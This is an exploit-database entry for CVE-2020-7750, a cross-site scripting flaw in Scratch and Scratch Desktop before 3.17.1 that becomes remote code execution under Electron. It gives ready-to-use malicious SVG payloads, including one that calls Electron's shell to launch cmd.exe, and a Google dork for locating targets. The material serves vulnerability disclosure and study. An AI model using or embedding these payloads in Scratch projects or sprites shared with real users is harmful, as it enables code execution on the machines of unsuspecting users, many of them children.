scratch desktop 3.17 remote code execution

				
# Exploit Title: Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE)
# Google Dork: 'inurl:"/projects/editor/?tutorial=getStarted" -mit.edu' (not foolproof on versioning)
# Date: 2021-06-18
# Exploit Author: Stig Magnus Baugstø
# Vendor Homepage: https://scratch.mit.edu/
# Software Link: https://web.archive.org/web/20210225011334/https://downloads.scratch.mit.edu/desktop/Scratch%20Desktop%20Setup%203.10.2.exe
# Version: 3.10.2
# Tested on: Windows 10 x64, but should be platform independent.
# CVE: CVE-2020-7750

Scratch cross-site scripting (XSS) & Scratch Desktop remote code execution (XSS/RCE) <3.17.1 / scratch-svg-renderer <0.2.0-prerelease.20201019174008

CVE-2020-7750 was disclosed on Scratch's official forums on 21th of October 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability in Scratch and Scratch Desktop prior to 3.17.1: https://scratch.mit.edu/discuss/topic/449794/

You can exploit the vulnerability by uploading a SVG (*.svg) file WITHOUT the viewBox attribute and embedding a malicious event handler. Example:

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="<INSERT JS PAYLOAD>" />
	</svg>

The malicious SVG can be uploaded as a sprite or stored within a Scratch project file (*.sb3), which is a regular ZIP archive by the way.

Example of regular cross-site scripting (XSS):

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="alert('Pwned!')" />
	</svg>

The Scratch Desktop versions runs on Electron where the exploit can be used for remote code execution (RCE):

	<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
		<image href="doesNotExist.png" onerror="require('electron').shell.openExternal('cmd.exe')" />
	</svg>

The example above launches cmd.exe (Command Prompt) on Windows.

For a full walkthrough and explanation of the exploit, please see the following blog post by the exploit's author: https://www.mnemonic.no/blog/exploiting-scratch-with-a-malicious-image/

Note that the author of this exploit does not take credit for finding the vulnerability. The vulnerability was disclosed by user apple502j on Scratch's official forums.
            
				

Scratch desktop 3.17 remote code execution Vulnerability / Exploit Source : Scratch desktop 3.17 remote code execution